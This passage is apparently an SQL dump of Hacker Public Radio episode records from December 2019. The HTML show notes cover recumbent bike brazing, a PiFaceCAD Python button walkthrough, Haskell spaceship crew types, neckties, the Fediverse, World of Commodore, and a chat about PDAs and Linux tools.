href=\"https://creativecommons.org/licenses/by-nc-nd/4.0/\">https://creativecommons.org/licenses/by-nc-nd/4.0/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org\">https://hackerpublicradio.org</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">https://hackerpublicradio.org/correspondents.php?hostid=198</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">https://hackerpublicradio.org/correspondents.php?hostid=30</a></li>\r\n</ul>',30,78,0,'CC-BY-NC-ND','Randal Schwartz, Aaron Newcomb, FLOSS Weekly',0,0,1),
(2962,'2019-12-10','Bespoke bike building',1474,'Brian in Ohio continues his bike building project','<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1282\">hpr 1282</a> john kulps efforts</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2869\">hpr 2869</a> part one of my build</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2875\">hpr 2875</a> part two</li>\r\n<li>recycled recumbent<br />\r\n<a href=\"https://sites.google.com/site/recycledrecumbents/home\" class=\"uri\">https://sites.google.com/site/recycledrecumbents/home</a></li>\r\n<li>fish mouth cutting on recumbents.com<br />\r\n<a href=\"https://www.wisil.recumbents.com/wisil/Plans/frametubes.htm\" class=\"uri\">https://www.wisil.recumbents.com/wisil/Plans/frametubes.htm</a></li>\r\n</ul>\r\n<h2 id=\"pictures\">Pictures</h2>\r\n<p>(The images below may be clicked to view the full-sized versions)</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2962/picture01-mocking-up-the-parts.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2962/picture01-mocking-up-the-parts-small.jpg\" alt=\"Mocking up parts\" /></a><br />\r\nmocking up parts to see spacing, especially the crankset</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2962/picture02-cutting-fishmouths.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2962/picture02-cutting-fishmouths-small.jpg\" alt=\"Laying out fishmouths\" /></a><br />\r\nlaying out ‘fishmouth’ cut, used to connect two tubes</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2962/picture03-cutting-fishmouths.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2962/picture03-cutting-fishmouths-small.jpg\" alt=\"Cutting fishmouths\" /></a><br />\r\nlay out fishmouth</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2962/picture04-cutting-fishmouths.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2962/picture04-cutting-fishmouths-small.jpg\" alt=\"Cutting fishmouths\" /></a><br />\r\nanother layout picture, note marks on tube</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2962/picture05-cutting-fishmouths.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2962/picture05-cutting-fishmouths-small.jpg\" alt=\"Cutting fishmouths\" /></a><br />\r\nfinished product</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2962/picture06-cutting-fishmouths.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2962/picture06-cutting-fishmouths-small.jpg\" alt=\"Cutting fishmouths\" /></a><br />\r\ntest fitting assembly one, the engine room</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2962/picture07-assembly-one-complete.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2962/picture07-assembly-one-complete-small.jpg\" alt=\"Brazing complete\" /></a><br />\r\nbrazing complete! assembly one done</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2962/picture08-readying-assembly-two.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2962/picture08-readying-assembly-two-small.jpg\" alt=\"Readying assembly\" /></a><br />\r\nsetting up assembly tube, gray tube slips inside the red tube</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2962/picture09-readying-assemby-two.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2962/picture09-readying-assemby-two-small.jpg\" alt=\"Removing tab\" /></a><br />\r\nneed to cut that small tab off, get to hear this in the recording</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2962/picture10-jigging-up-assembly2.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2962/picture10-jigging-up-assembly2-small.jpg\" alt=\"Jigging up\" /></a><br />\r\njigging up the frame, similar to john kulps set up, see hpr 1282</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2962/picture11-assemby2-done.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2962/picture11-assemby2-done-small.jpg\" alt=\"Still in the jig\" /></a><br />\r\nstill in the jig but all brazed up, top half of frame done!</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2962/picture12-next-next-brazing-here.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2962/picture12-next-next-brazing-here-small.jpg\" alt=\"More brazing to do\" /></a><br />\r\nthe next part will be modifiying the rear triangle and brazing it where i’m pointing to.</p>\r\n<h2 id=\"summary\">Summary</h2>\r\n<ul>\r\n<li>all in all, went better than expected, i’ll clean up those brazing joints after the bike is done and has been ridden for a while, before I paint it.</li>\r\n<li>brazing isn’t as difficult as i thought it might be. give it a try its a cool hacker skill!</li>\r\n</ul>\r\n',326,115,0,'CC-BY-SA','bicycle, recumbent, recycle',0,0,1),
(2963,'2019-12-11','A walk through my PifaceCAD Python code – Part 3',880,'In this episode I cover functions activated when a button is pushed on the PiFaceCAD board','<h3 id=\"code\">Code</h3>\r\n<p>The script being discussed in this show is available for download with the previous show: <a href=\"https://hackerpublicradio.org/eps/hpr2951/cad-menu.py\">cad-menu.py</a></p>\r\n<h3 id=\"functions\">Functions</h3>\r\n<ul>\r\n<li><p><code>def button0(event):</code><br />\r\nPlay / Pause Button<br />\r\nPrint message to lcd and toggle between play and pause for podcasts, then runs <code>init_display</code> to display available options</p></li>\r\n<li><p><code>def button1(event):</code><br />\r\nTrack Information button<br />\r\nPrint message to lcd then display current moc track information such as moc state, current time, time left, current playlist number of total playlist number &amp; podcast title.<br />\r\n<br />\r\nExample output from command <code>mocp --info</code></p>\r\n<pre><code>State: PAUSE\r\nFile: /home/pi/files/mp3/hpr1597.mp3\r\nTitle: Steve Smethurst - HPR1597: Extravehicular Activity (Hacker Public Radio)\r\nArtist: Steve Smethurst\r\nSongTitle: HPR1597: Extravehicular Activity\r\nAlbum: Hacker Public Radio\r\nTotalTime: 14:11\r\nTimeLeft: 02:47\r\nTotalSec: 851\r\nCurrentTime: 11:24\r\nCurrentSec: 684\r\nBitrate: 64kbps\r\nAvgBitrate: 64kbps\r\nRate: 44kHz</code></pre></li>\r\n<li><p><code>def button2(event):</code><br />\r\nPrevious Track Button<br />\r\nButton is only active if button is pushed twice within 0.3 seconds. This was added to stop moving to a new track by accidental pushing of button. If menu = 0 or 1 and value of variable TimeDiff is less than 0.3 then Print message to lcd and move to previous track in playlist. If menu = 2 and button pressed twice within 0.3 then display number of HPR shows in the queue</p></li>\r\n<li><p><code>def button3(event):</code><br />\r\nNext track Button<br />\r\nButton is only active if button is pushed twice within 0.3 seconds. This was added to stop moving to a new track by accidental pushing of button. If menu = 0 or 1 and value of variable TimeDiff is less than 0.3 then Print message to lcd and move to next track in playlist Button currently has no function if menu = 2</p></li>\r\n<li><p><code>def button4(event):</code><br />\r\nToggle backlight Button<br />\r\nIf 1st time button is pushed then turn off blinkstick and display main menu else Toggle lcd backlight between on and off</p></li>\r\n<li><p><code>def moc_seek():</code><br />\r\nUsed to seek backward or forward in track being played in mocp SeekPosition is a global variable used to store the current seek position, its value changes up and down when using button6 and button7</p></li>\r\n<li><code>def button5(event):</code><br />\r\nJogg switch<br />\r\nThis button is selected by momentarily pushing in the left/right toggle button. Button located on the top of unit<br />\r\n\r\n<ul>\r\n<li>If menu equals 0 or 1, [PODCASTS or AUDIOBOOKS] menu then<br />\r\n\r\n<ul>\r\n<li>if not in seek menu then display seek menu</li>\r\n<li>if in seek menu then jump forward or back in track by the amount currently displayed on the seek menu, uses function <code>moc_seek()</code></li>\r\n</ul></li>\r\n<li>If menu equals 2, [SYSTEM] menu then\r\n<ul>\r\n<li>Get date and time information, Clear screen, turn on LCD backlight print the shutdown message with date and time info to lcd &amp; then issue the shutdown command</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<!-- -->\r\n<ul>\r\n<li><code>def button6(event):</code><br />\r\nLeft Jogg switch decrement through menus also used during seek<br />\r\nThis button is selected by momentarily pushing the toggle switch to the left. Button located on the top of unit<br />\r\nButton only active if more than 0.3 seconds has passed since it was last pushed, this was added to get around switch bounce causing multiple jumps in menu, think left and right jogg switch is a bit noisy.\r\n<ul>\r\n<li>If in seek menu\r\n<ul>\r\n<li>SeekPosition decrements by one until SeekMin is reached, and then returns to 0</li>\r\n<li>each time the display is updated with the decremented value stored in dictionary SeekDisplay</li>\r\n</ul></li>\r\n<li>If not in seek menu\r\n<ul>\r\n<li>Menu decrements down by one until MenuMin is reached then rolls over to MenuMax</li>\r\n</ul></li>\r\n</ul></li>\r\n<li><p><code>def button7(event):</code><br />\r\nSame as button6 above but instead increments value, i.e. menu or seek value is incremented by 1</p></li>\r\n<li><p><code>def print_ir_code(event):</code><br />\r\nUsed during debugging to get remote control working, came from piface examples page, prints IR code <code>print(event.ir_code)</code></p></li>\r\n<li><p><code>def ir_play(event):</code><br />\r\nIf the play button is pushed on the remote control twice within 0.5 seconds and if IR is active then toggle backlight and toggle between play and pause</p></li>\r\n<li><p><code>def ir_info(event):</code><br />\r\nIf the info button (pause) is pushed on the remote control twice within 0.5 seconds and if IR is active then toggle backlight and display on the LCD information about the current track</p></li>\r\n<li><p><code>def ir_rewind(event):</code><br />\r\nIf the rewind button is pushed on the remote control and if IR is active then toggle backlight and go to previous track on playlist</p></li>\r\n<li><p><code>def ir_forward(event):</code><br />\r\nIf the forward button is pushed on the remote control and if IR is active then toggle backlight and go to next track on playlist</p></li>\r\n<li><p><code>def ir_stop(event):</code><br />\r\nIf the stop button is pushed on the remote control and if IR is active then toggle backlight</p></li>\r\n<li><p><code>def ir_blue(event):</code><br />\r\nActivate and deactivate IR buttons on the remote control, turns blinkstick on red when IR active. When blue button is pushed twice within 0.5 seconds on remote control, toggle backlight and display momentary message on LCD display giving IR status i.e. are the remote control buttons active or deactive.<br />\r\n<br />\r\nAll remote buttons bar this one are affected. This feature was added to remotely disable all the buttons while using the TV remote control media buttons these would sometimes falsely trigger things<br />\r\n<br />\r\nThe double push of the blue button within 0.5 seconds was added as sometimes a single push of it was required on my TV and this would falsely activate it<br />\r\n<br />\r\nFeature added to check if var FirstPass is set to true, i.e. backlight button4 has not pushed since boot<br />\r\n<br />\r\nbutton4 normally toggles backlight but turns off hpr queue LED first time it’s pushed after boot.</p></li>\r\n</ul>\r\n',201,38,1,'CC-BY-SA','Audio, Podcasts, Linux, Command Line, Python, Raspberry Pi',0,0,1),
(2964,'2019-12-12','Bolos and Bowties: Neckwear for Nerds',980,'I talk about ties, at least the kind I like to wear when the occasion calls for it.','<p>It\'s probably because of a non-conformist streak in me, but I\'ve never liked traditional neckties. In fact I never wanted to wear any ties until I got my first bolo tie, which was sufficiently different from everyone else and easy enough to put on that I decided I could wear bolo ties. I\'ve built a collection of about a dozen of these and they always get positive comments, especially the ones made from recycled circuit boards. Recently I\'ve expanded my horizons to include bowties, which have a more formal appearance and the added nerd factor of being difficult to tie for most people. In this episode I talk about my ties.</p>\r\n\r\n<h3>Click image to view photo gallery</h3>\r\n\r\n<p><a data-flickr-embed=\"true\" href=\"https://www.flickr.com/photos/137675441@N05/albums/72157711876166718\" title=\"Bolos and Bowties\"><img src=\"https://live.staticflickr.com/65535/49100398632_cf81d6b66b.jpg\" width=\"500\" height=\"281\" alt=\"Bolos and Bowties\"></a></p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://circuitbreakerlabs.myshopify.com/\" target=\"_blank\">Circuit Breaker Labs</a> upcycled Jewelry made from circuit boards.</li>\r\n	<li><a href=\"https://www.hightidebowties.com/blogs/news/15522315-10-reasons-why-you-should-wear-a-bow-tie\">10 Reasons to Wear a Bowtie</a></li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','Style, Fashion, Recycling, Upcycling, Circuit Boards, Ties, Bowties, Bolo Ties, Neck ties',0,0,1),
(2969,'2019-12-19','Crewing a spaceship in Haskell',1358,'How to calculate amount of crew needed for a spaceship','<h2 id=\"intro\">Intro</h2>\r\n<p>Every spaceship in game needs a crew to operate it. Smaller ships with fewer components require less crew than huge ones with lots of components.</p>\r\n<h2 id=\"types\">Types</h2>\r\n<p>Unit stats lists amount of crew required to operate a spaceship and if they need sleeping quarters.</p>\r\n<pre><code>data UnitStats = UnitStats\r\n    { unitStatsMinimumCrew :: ![CrewRequirement]\r\n    , unitStatsNominalCrew :: ![CrewRequirement]\r\n    , unitStatsCrewSpace :: !TotalCrewSpace\r\n    , unitStatsCrewSpaceRequired :: !CrewSpaceReq\r\n    } deriving (Show, Read, Eq)</code></pre>\r\n<p>Different positions a crew can have is an enumeration:</p>\r\n<pre><code>data CrewPosition =\r\n    Commander\r\n    | Navigator\r\n    | Signaler\r\n    | SensorOperator\r\n    | Gunner\r\n    | Doctor\r\n    | Nurse\r\n    | Driver\r\n    | Helmsman\r\n    | Artificer\r\n    | Crew\r\n    | Passenger\r\n    deriving (Show, Read, Eq, Enum, Bounded)\r\nderivePersistField &quot;CrewPosition&quot;</code></pre>\r\n<p>Rank of a crew member isn’t a military rank, but rather their position in ship’s internal hierarchy:</p>\r\n<pre><code>data CrewRank =\r\n    SecondClass\r\n    | FirstClass\r\n    | Senior\r\n    | Chief\r\n    deriving (Show, Read, Eq, Enum, Bounded)\r\nderivePersistField &quot;CrewRank&quot;</code></pre>\r\n<p>Amount of crew is newtype that helps me not to mix different types of numbers with each other.</p>\r\n<pre><code>newtype CrewAmount = CrewAmount { unCrewAmount :: Int }\r\n    deriving (Show, Read, Eq, Ord, Num)</code></pre>\r\n<p>Total crew space of a ship is divided to three different types: steerage, standard and luxury.</p>\r\n<pre><code>data TotalCrewSpace = TotalCrewSpace\r\n    { totalCrewSpaceSteerage :: !(CrewSpace SteerageQuarters)\r\n    , totalCrewSpaceStandard :: !(CrewSpace StandardQuarters)\r\n    , totalCrewSpaceLuxury :: !(CrewSpace LuxuryQuarters)\r\n    } deriving (Show, Read, Eq)</code></pre>\r\n<p>Again, crew space is newtype so I don’t mix different types of numbers with each other.</p>\r\n<pre><code>data CrewSpace a =\r\n    CrewSpace { unCrewSpace :: CrewAmount }\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<p>I could have modeled fact that vehicle might need crew space with <code>Bool</code>, but having a descriptive name and type is more to my liking.</p>\r\n<pre><code>data CrewSpaceReq =\r\n    CrewSpaceRequired\r\n    | CrewSpaceOptional\r\n    deriving (Show, Read, Eq)\r\nderivePersistField &quot;CrewSpaceReq&quot;</code></pre>\r\n<p>The fact that single person could manage multiple components is reflected by <code>ComponentCrewReq</code> having <code>Double</code> instead of <code>Integer</code></p>\r\n<pre><code>-- | Crew requirements for a component\r\ndata ComponentCrewReq =\r\n    ComponentCrewReq CrewPosition Double\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<h2 id=\"in-closing\">In closing</h2>\r\n<p>If you have questions, comments or feedback, easiest way to catch me nowdays is by email or in fediverse where I’m <code>tuturto@mastodon.social</code></p>\r\n',364,107,0,'CC-BY-SA','haskell, problem solving',0,0,1),
(2965,'2019-12-13','instant feedback for students in maths',838,'How we use old CAS software to give students instant feedback in their maths homework','<p>I\'m trying to make sure that this show doesn\'t come across as as advertisment placement on HPR I won\'t provide a link to our application (which wouldn\'t help a lot anyway as we don\'t really have much of a web site anyway.).</p>\r\n<p>However I\'ll link to some of the technical components:</p>\r\n<p>The Computer Algebra System we use is called <a href=\"https://maxima.sourceforge.net/\">Maxima</a>, its history goes back to the early 80s. It\'s written in common lisp.</p>\r\n<p>We have considered switching to <a href=\"https://www.sympy.org/\">SymPy</a> as a more modern alternative. SymPy doesn\'t offer the feature completeness Maxima does, though. It has still a long way to go.</p>\r\n<p>Our servers run <a href=\"https://debian.org/\">Debian</a>. The current version is written in <a href=\"https://www.php.net/\">PHP</a> but we are working on a new version based on dockerized <a href=\"https://www.djangoproject.com/\">Django</a> with a JS frontend in <a href=\"https://emberjs.com/\">Ember</a> along with some micro services written in <a href=\"https://golang.org/\">Go</a>, <a href=\"https://python.org/\">Python</a> and <a href=\"https://www.php.net/\">PHP</a>.</p>\r\n<p>To render math we use <a href=\"https://www.mathjax.org/\">MathJax</a> in the current version and <a href=\"https://katex.org/\">KaTeX</a> in the new version. The PDF-export of worksheets is of course done in <a href=\"https://www.latex-project.org/\">LaTeX</a>.</p>',288,0,0,'CC-BY-SA','maths,education,learning',0,0,1),
(2966,'2019-12-16','World of Commodore 2019 Episode 1: The Interviews',1174,'In this first episode, I interview exhibitors and members at the World of Commodore in 2019.','<p>Hello, good people of Hacker Public Radio, my name is Paul Quirk and this is my very first ever podcast. I would like to give credit Klaatu of Gnu World Order for making me aware of Hacker Public Radio, which I’ve been a listener of for the past year. As we near the holiday season of the winter solstice, I decided to give back to the open source community with this gift of a mini series of podcasts about the World of Commodore from December 7, 2019.</p>\r\n<p>The World of Commodore is an annual computer expo dedicated to Commodore computers that is normally held on the first Saturday of December in the city of Mississauga, Ontario. It started off back in 1983 by Commodore Canada as a trade show where Commodore and related vendors could showcase their latest products for the holiday season. As a Commodore computer nerd kid of the 1980’s living within an hour’s drive of Mississauga, this was an event I always looked forward to with excitement. For me, this was bigger and better than Santa Claus. Commodore went bankrupt in 1994, but a decade later, the show was revived by the Toronto PET user’s group, or TPUG, one of the world’s oldest computer user groups of which I am a member. Today’s World of Commodore is very different from the expo’s of the 1980’s, and has transformed into an event where hackers from around the world gather together to share ideas and show off their own discoveries and products, both open source and commercial.</p>\r\n<p>Since many listeners and contributors of Hacker Public Radio got started with a Commodore computer at some time, and since this event has grown beyond Commodore products and into open source hardware and software, I thought this event would be of great interest to this community, and it is my hope that many of you listeners might join us at next year’s World of Commodore.</p>\r\n<p>I have decided to create a miniseries of podcasts of this event which I will release on a weekly schedule. In this first episode, I walk around the trade show floor and interview various exhibitors, vendors, and members of TPUG. As there is a visual element to this podcast, I have posted pictures of the exhibits in my personal non-commercial blog at pquirk.com, which I encourage you to visit in order to get the full experience. And so, with no further ado, let’s all go to the wonderful world of Commodore.</p>\r\n<ul>\r\n<li><a href=\"https://www.tpug.ca/\" class=\"uri\">https://www.tpug.ca/</a></li>\r\n<li><a href=\"https://signalsfromspace.ca/\" class=\"uri\">https://signalsfromspace.ca/</a></li>\r\n<li><a href=\"https://doublesidedgames.com/\" class=\"uri\">https://doublesidedgames.com/</a></li>\r\n<li><a href=\"https://pquirk.com/2019/12/08/world-of-commodore-2019-episode-1/\" class=\"uri\">https://pquirk.com/2019/12/08/world-of-commodore-2019-episode-1/</a></li>\r\n</ul>\r\n',383,103,0,'CC-BY-SA','Commodore,PET,Amiga,Gecko,retro',0,0,1),
(2967,'2019-12-17','Wrestling As You Like It Episode 2',1599,'Wrestling As You Like It Episode 2','<p>Today’s episode is about the landscape of professional wrestling today, the hierarchy, and how it came to be that way, and a brief explanation of different styles of professional wrestling.</p>',354,0,1,'CC-BY-SA','Pro Wrestling',0,0,1),
(2970,'2019-12-20','The Fediverse',1142,'The Fediverse is the open network of social media platforms','<p>The Fediverse is the name given to the collection of social media platforms that are distributed and interconnected. Distributed means that the servers are not centrally controlled, but are available to users in a variety of forms and conditions. And interconnected means they use protocols that are designed to allow communication between different platforms as well as different servers. The most common of these protocols is ActivityPub.</p>\r\n<p><a href=\"https://www.zwilnik.com/?page_id=1050\" class=\"uri\">https://www.zwilnik.com/?page_id=1050</a></p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fediverse\" class=\"uri\">https://en.wikipedia.org/wiki/Fediverse</a></li>\r\n<li><a href=\"https://blog.joinmastodon.org/2018/06/why-activitypub-is-the-future/\" class=\"uri\">https://blog.joinmastodon.org/2018/06/why-activitypub-is-the-future/</a></li>\r\n<li><a href=\"https://www.w3.org/TR/activitypub/\" class=\"uri\">https://www.w3.org/TR/activitypub/</a></li>\r\n<li><a href=\"https://hacks.mozilla.org/2018/11/decentralizing-social-interactions-with-activitypub/\" class=\"uri\">https://hacks.mozilla.org/2018/11/decentralizing-social-interactions-with-activitypub/</a></li>\r\n<li><a href=\"https://blog.joinmastodon.org/2018/06/why-activitypub-is-the-future/\" class=\"uri\">https://blog.joinmastodon.org/2018/06/why-activitypub-is-the-future/</a></li>\r\n<li><a href=\"https://github.com/pump-io/pump.io/blob/master/API.md\" class=\"uri\">https://github.com/pump-io/pump.io/blob/master/API.md</a></li>\r\n<li><a href=\"https://blog.diasporafoundation.org/4-islamic-state-fighters-on-diaspora\" class=\"uri\">https://blog.diasporafoundation.org/4-islamic-state-fighters-on-diaspora</a></li>\r\n<li><a href=\"https://emojos.in/\" class=\"uri\">https://emojos.in/</a></li>\r\n<li><a href=\"https://mwl.io/\" class=\"uri\">https://mwl.io/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/ActivityPub\" class=\"uri\">https://en.wikipedia.org/wiki/ActivityPub</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Diaspora_(social_network)\" class=\"uri\">https://en.wikipedia.org/wiki/Diaspora_(social_network)</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Open_standard\" class=\"uri\">https://en.wikipedia.org/wiki/Open_standard</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/OStatus\" class=\"uri\">https://en.wikipedia.org/wiki/OStatus</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/XMPP\" class=\"uri\">https://en.wikipedia.org/wiki/XMPP</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fediverse\" class=\"uri\">https://en.wikipedia.org/wiki/Fediverse</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1050\" class=\"uri\">https://www.zwilnik.com/?page_id=1050</a></li>\r\n</ul>\r\n',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub',0,0,1),
(2971,'2019-12-23','World of Commodore 2019 Episode 2: Hacking GeckOS',2960,'Glen Holmer explains how he got Linux running on a Commodore 64.','<ul>\r\n<li><a href=\"https://pquirk.com/\" class=\"uri\">https://pquirk.com/</a></li>\r\n<li><a href=\"https://www.lyonlabs.org/\" class=\"uri\">https://www.lyonlabs.org/</a></li>\r\n<li><a href=\"https://www.youtube.com/user/TorontoPETUsersGroup/\" class=\"uri\">https://www.youtube.com/user/TorontoPETUsersGroup/</a></li>\r\n<li><a href=\"https://www.tpug.ca/\" class=\"uri\">https://www.tpug.ca/</a></li>\r\n</ul>',383,103,0,'CC-BY-SA','Commodore,PET,Amiga,Geckos,retro,Linux,Open Source',0,0,1),
(2972,'2019-12-24','The foot of the ski slope',2681,'MrX and Dave Morriss chat about nerdy things near a ski slope','<h2 id=\"another-in-the-chat-series-from-edinburgh\">Another in the chat series from Edinburgh</h2>\r\n<h3 id=\"hosted-by-mrx1-and-dave-morriss2\">Hosted by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" title=\"MrX\">MrX</a> and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" title=\"Dave Morriss\">Dave Morriss</a></h3>\r\n<p>This time we met up for breakfast on Sunday 24<sup>th</sup> November in a pub/restaurant in an area called <a href=\"https://en.wikipedia.org/wiki/Hillend,_Edinburgh\" title=\"Hillend, Midlothian\">Hillend</a>, just outside Edinburgh in <a href=\"https://en.wikipedia.org/wiki/Midlothian\" title=\"Midlothian municipal district\">Midlothian</a>. The hill close by is the location of the <a href=\"https://en.wikipedia.org/wiki/Midlothian_Snowsports_Centre\" title=\"Midlothian Snowsports Centre\">Midlothian Snowsports Centre</a>, an artificial Ski Slope which is very popular in the region for recreation and training.</p>\r\n<p>We chatted for a while inside then moved to <em>Studio C</em> in the car park and recorded this episode.</p>\r\n<h3 id=\"pdas-and-the-like\">PDAs and the like</h3>\r\n<p>We were talking about PDAs (Personal Data Assistants) from the 1980’s.</p>\r\n<ul>\r\n<li>MrX had recently been offered a <a href=\"https://en.wikipedia.org/wiki/Gemini_(PDA)\" title=\"Gemini PDA\">Gemini</a> device and had at one time owned a <a href=\"https://en.wikipedia.org/wiki/Psion_Series_3\" title=\"Psion Series 3\">Psion Series 3c</a>.</li>\r\n<li>Dave owns a broken <a href=\"https://en.wikipedia.org/wiki/Psion_Series_5\" title=\"Psion Series 5\">Psion Series 5</a> (and recently parted with a working one after much bargaining).</li>\r\n<li>Dave struggled to remember devices like the <a href=\"https://en.wikipedia.org/wiki/PalmPilot\" title=\"Palm Pilot\">Palm Pilot</a> which were quite popular in the 80’s and 90’s. These had no keyboard, but offered a touch-sensitive screen, used with a stylus, and had handwriting recognition<a href=\"#fn1\" class=\"footnote-ref\" id=\"fnref1\"><sup>1</sup></a>.</li>\r\n<li>MrX mentioned the Compaq <a href=\"https://en.wikipedia.org/wiki/IPAQ\" title=\"Compaq/HP iPAQ PDA\">iPAQ PDA</a> (Compaq was later acquired by Hewlett Packard) from the 2000’s, which was a much advanced PDA with similar features.</li>\r\n</ul>\r\n<h3 id=\"software-annoyances\">Software annoyances</h3>\r\n<ul>\r\n<li>Mr X has had some problems with the latest Audacity on Ubuntu. It sometimes does not launch from the menu link after an upgrade.</li>\r\n<li>Calibre on Dave’s <em>Debian Testing</em> system has stopped working recently, due to a Python error.<a href=\"#fn2\" class=\"footnote-ref\" id=\"fnref2\"><sup>2</sup></a></li>\r\n<li>Dave uses Clementine, the music player, which turns off the UI when you close it down the wrong way and apparently doesn’t provide a way to enable it again without hacking the configuration file<a href=\"#fn3\" class=\"footnote-ref\" id=\"fnref3\"><sup>3</sup></a>.</li>\r\n<li>MrX had problems with audio device recognition and uses <code>hdajackretask</code> to correct this. This is part of the <code>alsa-tools-gui</code> package on Debian (and related)<a href=\"#fn4\" class=\"footnote-ref\" id=\"fnref4\"><sup>4</sup></a>, but has a non-intuitive UI.</li>\r\n</ul>\r\n<h3 id=\"os-choices\">OS choices</h3>\r\n<ul>\r\n<li>Dave uses Raspbian Lite on his headless Raspberry Pis (which he secures using advice from Ken Fallon’s HPR show on preparing the <a href=\"https://hackerpublicradio.org/eps.php?id=2356\" title=\"hpr2356 :: Safely enabling ssh in the default Raspbian Image\">Raspbian image</a>).</li>\r\n<li>MrX uses standard Raspian on RPis, Ubuntu as his main Linux version, as well as OSMC (Open Source Media Center) on a Raspberry Pi, for watching media.</li>\r\n<li>Dave originally started with Fedora (actually Red Hat version 4 for a brief time) then moved to Ubuntu (Kubuntu) before moving to Debian Testing on his desktop, and KDE Neon on his laptop.</li>\r\n<li>Both had used Crunchbang at one point, another Debian-based distribution.</li>\r\n</ul>\r\n<h3 id=\"a-few-other-topics\">A few other topics</h3>\r\n<ul>\r\n<li>MrX uses a Wiki service (<a href=\"https://www.wikidot.com/\" class=\"uri\">https://www.wikidot.com/</a>). Dave uses MediaWiki on a Raspberry Pi and has scripts that update some of the contents (mainly tables). There was discussion about using Pandoc (<a href=\"https://pandoc.org/\" class=\"uri\">https://pandoc.org/</a>) to generate MediaWiki markup from something like Markdown.</li>\r\n<li>Emulating a Bash session in a web browser. One example is: <a href=\"https://bellard.org/jslinux/\" class=\"uri\">https://bellard.org/jslinux/</a></li>\r\n<li>Online Python tools. For example: <a href=\"https://repl.it/languages/python3\" class=\"uri\">https://repl.it/languages/python3</a></li>\r\n<li>Midnight Commander (<a href=\"https://midnight-commander.org/\" class=\"uri\">https://midnight-commander.org/</a>) contains its own editor.</li>\r\n<li>Notepadqq (<a href=\"https://notepadqq.com/\" class=\"uri\">https://notepadqq.com/</a>) is a Notepad++-like editor for the Linux desktop.</li>\r\n<li>File managers:\r\n<ul>\r\n<li>MrX has problems with the Ubuntu file manager; he uses Nemo (<a href=\"https://en.wikipedia.org/wiki/Nemo_(file_manager)\" class=\"uri\">https://en.wikipedia.org/wiki/Nemo_(file_manager)</a>) for its more advanced features</li>\r\n<li>Dave uses KDE’s Dolphin (<a href=\"https://en.wikipedia.org/wiki/Dolphin_(file_manager)\" class=\"uri\">https://en.wikipedia.org/wiki/Dolphin_(file_manager)</a>)</li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Location:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Hillend,_Edinburgh\">Hillend</a> (Wikipedia)</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Midlothian\">Midlothian</a> (Wikipedia)</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Midlothian_Snowsports_Centre\">Midlothian Snowsports Centre</a> (Wikipedia)</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>PDAs (Personal Data Assistants - <a href=\"https://en.wikipedia.org/wiki/Personal_digital_assistant\">Wikipedia page</a>)\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Organiser\">Psion Organiser II</a> (Wikipedia)</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_3\">Psion Series 3</a> (Wikipedia)</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_5\">Psion Series 5</a> (Wikipedia)</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/PalmPilot\">Palm Pilot</a> (Wikipedia)</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Gemini_(PDA)\">Gemini PDA</a> 